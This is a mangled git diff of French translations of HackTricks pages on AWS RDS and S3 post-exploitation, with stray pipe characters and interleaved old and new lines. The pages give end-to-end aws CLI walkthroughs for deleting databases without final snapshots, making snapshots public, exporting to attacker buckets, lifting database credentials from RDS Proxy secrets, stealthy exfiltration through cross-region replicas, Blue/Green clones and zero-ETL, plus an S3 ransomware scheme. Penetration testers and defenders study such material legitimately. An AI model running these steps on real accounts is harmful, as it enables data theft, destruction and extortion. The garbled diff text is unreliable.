Un attaquant auquel on a accordé `rds:Delete*` peut supprimer des ressources RDS, effaçant des instances de bases de données, des clusters, des snapshots, des sauvegardes automatiques, des groupes de sous-réseaux, des groupes de paramètres/options et des artefacts associés, provoquant une interruption de service immédiate, une perte de données, la destruction des points de restauration et la perte de preuves médico-légales.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
|
||||
|
||||
# Delete a DB instance and skip final snapshot (more destructive)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--skip-final-snapshot
|
||||
|
||||
# Delete a manual DB snapshot
|
||||
aws rds delete-db-snapshot \
|
||||
--db-snapshot-identifier <DB_SNAPSHOT_ID>
|
||||
|
||||
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
|
||||
aws rds delete-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Un attaquant disposant de ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **disponible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.
|
||||
Un attaquant disposant de ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **accessible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.
|
||||
|
||||
Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il pourrait quand même rendre **d'autres snapshots créés** **publics**.
|
||||
Si l'attaquant **n'a pas `rds:CreateDBSnapshot`**, il pourrait néanmoins rendre **publiques** d'autres snapshots déjà créés.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,11 +90,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Un attaquant disposant de la permission `rds:DownloadDBLogFilePortion` peut **download portions of an RDS instance's log files**. Si des données sensibles ou des access credentials sont accidentellement logged, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.
|
||||
Un attaquant disposant de la permission `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers de logs d'une instance RDS**. Si des données sensibles ou des identifiants d'accès sont enregistrés par erreur, l'attaquant pourrait potentiellement utiliser ces informations pour escalader ses privilèges ou effectuer des actions non autorisées.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potential Impact**: Accès à des informations sensibles ou exécution d'actions non autorisées à l'aide de leaked credentials.
|
||||
**Potential Impact**: Accès à des informations sensibles ou à des actions non autorisées en utilisant des leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
@@ -66,35 +103,35 @@ Un attaquant disposant de ces autorisations peut **DoS des instances RDS existan
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Impact potentiel** : Suppression des instances RDS existantes et risque de perte de données.
|
||||
**Impact potentiel** : Suppression des instances RDS existantes et perte potentielle de données.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Tester
|
||||
> TODO : Tester
|
||||
|
||||
Un attaquant disposant de cette autorisation peut **exporter un snapshot d'instance RDS vers un bucket S3**. Si l'attaquant contrôle le bucket S3 de destination, il peut potentiellement accéder à des données sensibles contenues dans le snapshot exporté.
|
||||
Un attaquant disposant de cette autorisation peut **exporter un instantané d'une instance RDS vers un bucket S3**. Si l'attaquant contrôle le bucket S3 de destination, il peut potentiellement accéder à des données sensibles contenues dans l'instantané exporté.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impact potentiel** : Accès à des données sensibles dans le snapshot exporté.
|
||||
|
||||
### Réplication inter-régions des sauvegardes automatisées pour une restauration discrète (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Réplication inter-région des sauvegardes automatisées pour une restauration furtive (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abuser de la réplication inter-régions des sauvegardes automatisées pour dupliquer silencieusement les sauvegardes automatisées d'une instance RDS dans une autre AWS Region et y restaurer. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le master password pour accéder aux données hors bande dans une Region que les défenseurs pourraient ne pas surveiller.
|
||||
Abusez de la réplication inter-région des sauvegardes automatisées pour dupliquer discrètement les sauvegardes automatisées d'une instance RDS dans une autre région AWS et y effectuer une restauration. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le mot de passe maître pour accéder aux données hors bande dans une région que les défenseurs pourraient ne pas surveiller.
|
||||
|
||||
Permissions requises (minimum) :
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` dans la Region de destination
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` dans la Region de destination
|
||||
- `rds:RestoreDBInstanceToPointInTime` dans la Region de destination
|
||||
- `rds:ModifyDBInstance` dans la Region de destination
|
||||
Permissions nécessaires (minimum) :
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` dans la région de destination
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` dans la région de destination
|
||||
- `rds:RestoreDBInstanceToPointInTime` dans la région de destination
|
||||
- `rds:ModifyDBInstance` dans la région de destination
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (nettoyage optionnel)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (pour exposer la DB restaurée)
|
||||
|
||||
Impact : Persistence and data exfiltration en restaurant une copie des données de production dans une autre Region et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant.
|
||||
Impact : Persistance et exfiltration de données en restaurant une copie des données de production dans une autre région et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant.
|
||||
|
||||
<details>
|
||||
<summary>CLI de bout en bout (remplacer les placeholders)</summary>
|
||||
<summary>CLI de bout en bout (remplacez les espaces réservés)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -163,26 +200,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Activer la journalisation SQL complète via DB parameter groups et exfiltrer via les RDS log APIs
|
||||
### Activer la journalisation SQL complète via DB parameter groups et exfiltrer via RDS log APIs
|
||||
|
||||
Exploiter `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du moteur DB n'est requis). Activer la journalisation SQL du moteur et récupérer les fichiers de logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requêtes susceptibles de contenir des secrets/PII/JWTs.
|
||||
Abuser de `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du DB engine requis). Activez la journalisation SQL du moteur et récupérez les fichiers de logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou la REST `downloadCompleteLogFile`). Utile pour collecter des requêtes pouvant contenir des secrets/PII/JWTs.
|
||||
|
||||
Permissions requises (minimum) :
|
||||
Permissions requises (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (uniquement pour attacher un parameter group personnalisé si l'instance utilise celui par défaut)
|
||||
- `rds:RebootDBInstance` (pour les paramètres nécessitant un reboot, par ex. PostgreSQL)
|
||||
|
||||
Étapes
|
||||
1) Recon de la cible et du groupe de paramètres actuel
|
||||
1) Recon de la cible et du DB parameter group actuel
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Assurez-vous qu'un DB parameter group personnalisé est attaché (impossible de modifier le groupe par défaut)
|
||||
2) Assurez-vous qu'un DB parameter group personnalisé est attaché (impossible d'éditer le groupe par défaut)
|
||||
- Si l'instance utilise déjà un groupe personnalisé, réutilisez son nom à l'étape suivante.
|
||||
- Sinon, créez-en un et attachez-le correspondant à la famille du moteur :
|
||||
- Sinon, créez-en et attachez-en un correspondant à la famille du moteur :
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -208,7 +245,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- Moteurs PostgreSQL (redémarrage requis):
|
||||
- PostgreSQL engines (redémarrage requis):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -220,11 +257,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Laisser la charge de travail s'exécuter (ou générer des requêtes). Les requêtes seront écrites dans les fichiers de logs du moteur
|
||||
4) Laissez la charge de travail s'exécuter (ou générez des requêtes). Les requêtes seront écrites dans les fichiers de logs du moteur
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Découvrir et télécharger les logs (aucun identifiant DB requis)
|
||||
5) Repérez et téléchargez les logs (aucun identifiant DB requis)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -235,7 +272,7 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Analyser hors ligne pour des données sensibles
|
||||
6) Analyser hors ligne les données sensibles
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
@@ -261,19 +298,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impact : Accès aux données post-exploitation en capturant toutes les instructions SQL de l'application via AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
|
||||
Impact : Post-exploitation data access by capturing all application SQL statements via AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abuser des réplicas en lecture RDS pour obtenir un accès en lecture hors-bande sans toucher aux identifiants de l'instance primaire. Un attaquant peut créer une réplique en lecture à partir d'une instance de production, réinitialiser le mot de passe master de la réplique (cela ne modifie pas le primaire), et éventuellement exposer la réplique publiquement pour exfiltrer des données.
|
||||
Abuse RDS read replicas pour obtenir un accès en lecture hors-bande sans toucher aux identifiants de l'instance primaire. Un attaquant peut créer une read replica à partir d'une instance de production, réinitialiser le replica's master password (cela ne modifie pas le primary), et éventuellement exposer la replica publiquement pour exfiltrate data.
|
||||
|
||||
Permissions nécessaires (minimum) :
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (si exposition publique)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Impact : Accès en lecture seule aux données de production via une réplique avec des identifiants contrôlés par l'attaquant ; probabilité de détection réduite car le primaire reste intact et la réplication continue.
|
||||
Impact : accès en lecture seule aux données de production via une replica avec des identifiants contrôlés par l'attaquant ; probabilité de détection réduite puisque le primary reste intact et la réplication continue.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -305,12 +342,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Exemple de preuve (MySQL) :
|
||||
- Statut de la réplique DB : `available`, réplication en lecture : `replicating`
|
||||
|
||||
- Statut de la DB réplique : `available`, réplication en lecture : `replicating`
|
||||
- Connexion réussie avec le nouveau mot de passe et `@@read_only=1` confirmant l'accès en lecture seule à la réplique.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Abuser de RDS Blue/Green pour cloner une DB de production dans un environnement green répliqué en continu et en lecture seule. Puis réinitialiser les identifiants master du green pour accéder aux données sans toucher l'instance blue (prod). C'est plus discret que le snapshot sharing et permet souvent de contourner une surveillance focalisée uniquement sur la source.
|
||||
Exploiter RDS Blue/Green pour cloner une DB de production dans un environnement green continuellement répliqué en lecture seule. Puis réinitialiser les identifiants master du green pour accéder aux données sans toucher l'instance blue (prod). Ceci est plus discret que le partage de snapshots et contourne souvent la surveillance ciblant uniquement la source.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -357,19 +395,19 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impact : Accès en lecture seule mais accès complet aux données d'un clone quasi temps réel de la production sans modifier l'instance de production. Utile pour l'extraction discrète de données et l'analyse hors ligne.
|
||||
Impact : Accès en lecture seule mais avec accès complet aux données d'un clone quasi temps réel de la production sans modifier l'instance de production. Utile pour l'extraction discrète de données et l'analyse hors ligne.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API en activant l'HTTP endpoint + en réinitialisant le mot de passe maître
|
||||
### SQL hors-bande via RDS Data API en activant l'HTTP endpoint + en réinitialisant le master password
|
||||
|
||||
Abuse Aurora pour activer le RDS Data API HTTP endpoint sur un cluster cible, réinitialiser le mot de passe maître à une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Fonctionne sur les moteurs Aurora qui prennent en charge le Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; certaines versions d'Aurora PostgreSQL/MySQL).
|
||||
Exploiter Aurora pour activer l'HTTP endpoint du RDS Data API sur un cluster cible, réinitialiser le master password à une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Fonctionne sur les moteurs Aurora qui supportent le Data API/EnableHttpEndpoint (par ex., Aurora MySQL 8.0 provisioned ; certaines versions Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissions (minimum):
|
||||
Permissions (minimum) :
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impact : Contourne la segmentation réseau et exfiltrate data via AWS APIs sans connectivité VPC directe vers la DB.
|
||||
Impact : Contourner la segmentation réseau et exfiltrer des données via AWS APIs sans connectivité VPC directe vers la DB.
|
||||
|
||||
<details>
|
||||
<summary>CLI de bout en bout (exemple Aurora MySQL)</summary>
|
||||
@@ -425,21 +463,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Remarques :
|
||||
- Si des requêtes SQL multi-énoncés sont rejetées par rds-data, exécutez des appels execute-statement séparés.
|
||||
- Pour les moteurs pour lesquels modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn.
|
||||
- Assurez-vous que le moteur/la version supporte réellement la Data API ; sinon HttpEndpointEnabled restera False.
|
||||
- Si des instructions SQL multi-statements sont rejetées par rds-data, effectuez des appels execute-statement séparés.
|
||||
- Pour les moteurs où modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn.
|
||||
- Assurez-vous que le moteur/la version prend réellement en charge le Data API ; sinon HttpEndpointEnabled restera False.
|
||||
|
||||
|
||||
### Récupérer les identifiants DB via les secrets d'authentification RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Récupération des identifiants DB via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Exploitez la configuration de RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification backend, puis lisez le secret pour obtenir les identifiants de la base de données. Beaucoup d'environnements accordent un large `secretsmanager:GetSecretValue`, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal cadrées peuvent aussi permettre `kms:Decrypt`.
|
||||
Exploitez la configuration de RDS Proxy pour découvrir le secret de Secrets Manager utilisé pour l'authentification backend, puis lisez le secret pour obtenir les identifiants de la base de données. De nombreux environnements accordent largement `secretsmanager:GetSecretValue`, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal cadrées peuvent aussi permettre `kms:Decrypt`.
|
||||
|
||||
Permissions requises (minimum) :
|
||||
Permissions nécessaires (minimum) :
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` sur le SecretArn référencé
|
||||
- Optionnel si le secret utilise une CMK : `kms:Decrypt` sur cette clé
|
||||
- Optionnel lorsque le secret utilise une CMK : `kms:Decrypt` sur cette clé
|
||||
|
||||
Impact : divulgation immédiate du nom d'utilisateur/mot de passe DB configurés sur le proxy ; permet un accès direct à la base ou un mouvement latéral supplémentaire.
|
||||
Impact : divulgation immédiate du nom d'utilisateur/mot de passe DB configuré sur le proxy ; permet un accès direct à la DB ou un mouvement latéral supplémentaire.
|
||||
|
||||
Étapes
|
||||
```bash
|
||||
@@ -480,9 +518,9 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Exfiltration continue et furtive via Aurora zero‑ETL vers Amazon Redshift (rds:CreateIntegration)
|
||||
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Exploitez l'intégration Aurora PostgreSQL zero‑ETL pour répliquer en continu les données de production dans un namespace Redshift Serverless que vous contrôlez. Avec une politique de ressource Redshift permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour un ARN de cluster Aurora spécifique, un attaquant peut établir une copie des données quasi en temps réel sans DB creds, snapshots ni exposition réseau.
|
||||
Exploiter l'intégration zero‑ETL d'Aurora PostgreSQL pour répliquer en continu les données de production dans un namespace Redshift Serverless que vous contrôlez. Avec une Redshift resource policy permissive qui autorise CreateInboundIntegration/AuthorizeInboundIntegration pour un ARN de cluster Aurora spécifique, un attaquant peut établir une copie des données quasi‑temps réel sans DB creds, snapshots ni exposition réseau.
|
||||
|
||||
Permissions nécessaires (minimum) :
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
@@ -493,7 +531,7 @@ Permissions nécessaires (minimum) :
|
||||
Testé sur : us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Créer un namespace Redshift Serverless + workgroup</summary>
|
||||
<summary>1) Créer Redshift Serverless namespace + workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
@@ -509,7 +547,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Configurer la politique de ressources Redshift pour autoriser la source Aurora</summary>
|
||||
<summary>2) Configurer la resource policy de Redshift pour autoriser la source Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -540,7 +578,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Créer un cluster Aurora PostgreSQL (activer Data API et réplication logique)</summary>
|
||||
<summary>3) Créer un cluster Aurora PostgreSQL (activer Data API et logical replication)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -571,7 +609,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Créer l'intégration zero‑ETL depuis RDS</summary>
|
||||
<summary>4) Créer l'intégration zero‑ETL à partir de RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -598,10 +636,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
|
||||
Preuves observées lors du test :
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- La vue SVV_INTEGRATION a montré integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et state PendingDbConnectState avant la création de la DB.
|
||||
- Après CREATE DATABASE FROM INTEGRATION, l'énumération des tables a révélé le schéma ztl et la table customers ; une sélection depuis ztl.customers a renvoyé 2 lignes (Alice, Bob).
|
||||
- SVV_INTEGRATION a affiché integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et state PendingDbConnectState avant la création de la DB.
|
||||
- Après CREATE DATABASE FROM INTEGRATION, la liste des tables a révélé le schéma ztl et la table customers ; une sélection depuis ztl.customers a retourné 2 lignes (Alice, Bob).
|
||||
|
||||
Impact : Exfiltration continue quasi‑en temps réel de tables Aurora PostgreSQL sélectionnées vers Redshift Serverless contrôlé par l'attaquant, sans utiliser d'identifiants de base de données, de sauvegardes ni d'accès réseau au cluster source.
|
||||
Impact : Exfiltration continue, presque en temps réel, de tables sélectionnées d'Aurora PostgreSQL vers Redshift Serverless contrôlé par l'attaquant, sans utiliser d'identifiants de base de données, de backups, ni d'accès réseau au cluster source.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+43
-12
@@ -1,10 +1,10 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
# AWS - S3 Post-exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
@@ -12,27 +12,58 @@ Pour plus d'informations, voir :
|
||||
|
||||
### Informations sensibles
|
||||
|
||||
Parfois, vous pourrez trouver des informations sensibles lisibles dans les buckets. Par exemple, terraform state secrets.
|
||||
Parfois, vous pourrez trouver des informations sensibles lisibles dans les buckets. Par exemple, des secrets d'état terraform.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Différentes plateformes pourraient utiliser S3 pour stocker des assets sensibles.\
|
||||
Par exemple, **airflow** pourrait y stocker **DAGs** **code**, ou des **web pages** pourraient être servies directement depuis S3. Un attaquant disposant de permissions d'écriture pourrait **modify the code** dans le bucket pour **pivot** vers d'autres plateformes, ou **takeover accounts** en modifiant des fichiers JS.
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
Par exemple, **airflow** pourrait y stocker des **DAGs** **code**, ou des **pages web** pourraient être servies directement depuis S3. Un attaquant disposant de permissions d'écriture pourrait **modifier le code** du bucket pour **pivot** vers d'autres plateformes, ou **takeover accounts** en modifiant des fichiers JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
Dans ce scénario, l'attaquant crée une KMS (Key Management Service) key dans son propre compte AWS ou dans un autre compte compromis. Il rend ensuite cette key accessible à n'importe qui dans le monde, permettant à tout utilisateur, rôle ou compte AWS de chiffrer des objets en utilisant cette key. Cependant, les objets ne peuvent pas être déchiffrés.
|
||||
Dans ce scénario, le **attaquant crée une clé KMS (Key Management Service) dans son propre compte AWS** ou dans un autre compte compromis. Il rend ensuite cette **clé accessible à n'importe qui dans le monde**, permettant à tout utilisateur, rôle ou compte AWS de chiffrer des objets avec cette clé. Cependant, les objets ne peuvent pas être déchiffrés.
|
||||
|
||||
L'attaquant identifie un bucket S3 cible et obtient un accès en écriture via diverses méthodes. Cela peut être dû à une mauvaise configuration du bucket qui l'expose publiquement ou à l'accès de l'attaquant à l'environnement AWS lui-même. L'attaquant cible typiquement des buckets contenant des informations sensibles comme des données personnelles identifiables (PII), des protected health information (PHI), des logs, des backups, etc.
|
||||
L'attaquant identifie un **S3 bucket cible et obtient un accès en écriture** via diverses méthodes. Cela peut être dû à une mauvaise configuration du bucket qui l'expose publiquement ou à l'accès de l'attaquant à l'environnement AWS lui-même. L'attaquant cible généralement des buckets contenant des informations sensibles telles que des informations personnellement identifiables (PII), des informations de santé protégées (PHI), des logs, des sauvegardes, et plus encore.
|
||||
|
||||
Pour déterminer si le bucket peut être ciblé pour du ransomware, l'attaquant vérifie sa configuration. Cela inclut la vérification si **S3 Object Versioning** est activé et si **multi-factor authentication delete (MFA delete)** est activé. Si Object Versioning n'est pas activé, l'attaquant peut procéder. Si Object Versioning est activé mais que MFA delete est désactivé, l'attaquant peut **disable Object Versioning**. Si Object Versioning et MFA delete sont tous deux activés, il devient plus difficile pour l'attaquant de ransomware ce bucket spécifique.
|
||||
Pour déterminer si le bucket peut être ciblé par du ransomware, l'attaquant vérifie sa configuration. Cela inclut la vérification si **S3 Object Versioning** est activé et si la **suppression avec authentification multifacteur (MFA delete)** est activée. Si Object Versioning n'est pas activé, l'attaquant peut procéder. Si Object Versioning est activé mais que MFA delete est désactivé, l'attaquant peut **désactiver Object Versioning**. Si à la fois Object Versioning et MFA delete sont activés, il devient plus difficile pour l'attaquant de rançonner ce bucket spécifique.
|
||||
|
||||
En utilisant l'API AWS, l'attaquant **remplace chaque objet dans le bucket par une copie chiffrée avec leur KMS key**. Cela chiffre effectivement les données du bucket, les rendant inaccessibles sans la key.
|
||||
En utilisant l'API AWS, l'attaquant **remplace chaque objet du bucket par une copie chiffrée utilisant sa clé KMS**. Cela chiffre effectivement les données du bucket, les rendant inaccessibles sans la clé.
|
||||
|
||||
Pour faire pression, l'attaquant planifie la suppression de la KMS key utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la key soit supprimée et que les données ne soient perdues de façon permanente.
|
||||
Pour accroître la pression, l'attaquant planifie la suppression de la clé KMS utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la clé ne soit supprimée et que les données ne deviennent perdues de façon permanente.
|
||||
|
||||
Enfin, l'attaquant pourrait uploader un fichier final, généralement nommé "ransom-note.txt", qui contient des instructions pour la cible sur la façon de récupérer leurs fichiers. Ce fichier est uploadé sans chiffrement, probablement pour attirer l'attention de la cible et la rendre consciente de l'attaque ransomware.
|
||||
Enfin, l'attaquant peut téléverser un fichier final, généralement nommé "ransom-note.txt", contenant des instructions pour la cible sur la manière de récupérer ses fichiers. Ce fichier est téléversé sans chiffrement, probablement pour attirer l'attention de la cible et l'informer de l'attaque de ransomware.
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
### `s3:RestoreObject`
|
||||
|
||||
Un attaquant disposant de l'autorisation s3:RestoreObject peut réactiver des objets archivés dans Glacier ou Deep Archive, les rendant temporairement accessibles. Cela permet la récupération et l'exfiltration de données archivées historiquement (sauvegardes, snapshots, logs, certifications, anciens secrets) qui seraient normalement hors de portée. Si l'attaquant combine cette autorisation avec des permissions de lecture (p.ex., s3:GetObject), il peut obtenir des copies complètes de données sensibles.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--restore-request '{
|
||||
"Days": <NUMBER_OF_DAYS>,
|
||||
"GlacierJobParameters": { "Tier": "Standard" }
|
||||
}'
|
||||
```
|
||||
